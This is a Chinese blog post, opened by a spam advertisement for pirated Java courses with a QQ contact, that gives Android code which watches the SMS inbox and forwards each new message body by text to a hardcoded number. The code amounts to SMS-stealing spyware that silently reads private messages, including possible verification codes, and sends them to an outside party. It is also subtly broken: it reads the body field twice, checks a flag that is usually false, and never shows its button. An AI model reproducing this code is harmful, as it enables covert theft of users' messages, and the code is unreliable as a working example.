Android 使用ContentObserver监听短信的变化,并发送信息给特定的手机号码
———————————————————————
有需求者请加qq:136137465,非诚勿扰
(java 架构师全套教程,共760G, 让你从零到架构师,每月轻松拿3万)
01.高级架构师四十二个阶段高
02.Java高级系统培训架构课程148课时
03.Java高级互联网架构师课程
04.Java互联网架构Netty、Nio、Mina等-视频教程
05.Java高级架构设计2016整理-视频教程
06.架构师基础、高级片
07.Java架构师必修linux运维系列课程
08.Java高级系统培训架构课程116课时
(送:hadoop系列教程,java设计模式与数据结构, Spring Cloud微服务, SpringBoot入门)
——————————————————————–
public class ObserverActivity extends Activity implements OnClickListener {
protected static final String TEL_NUMBER = "110";
private Button mBtnSend;
private Uri mSmsUri;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mBtnSend = new Button(this);
//添加监听
mBtnSend.setOnClickListener(this);
//初始化地址
mSmsUri = Uri.parse("content://sms/");
}
@Override
public void onClick(View v) {
if (v == mBtnSend) {
//注册observer
getContentResolver().registerContentObserver(mSmsUri, true, observer);
}
}
//初始化observer
ContentObserver observer = new ContentObserver(new Handler()) {
public void onChange(boolean selfChange) {
//如果变化了
if (selfChange) {
Cursor cursor = getContentResolver().query(mSmsUri, new String[] { "body", "date", "address", "type" },
null, null, null);
//读取最新的消息
cursor.moveToFirst();
String text = cursor.getString(cursor.getColumnIndex("body")) + "_"
+ cursor.getString(cursor.getColumnIndex("body"));
cursor.close();
//发送短信
SmsManager sm = SmsManager.getDefault();
sm.sendTextMessage(TEL_NUMBER, null, text, null, null);
}
};
};
@Override
protected void onDestroy() {
if (observer != null) {
getContentResolver().unregisterContentObserver(observer);
observer = null;
}
}
}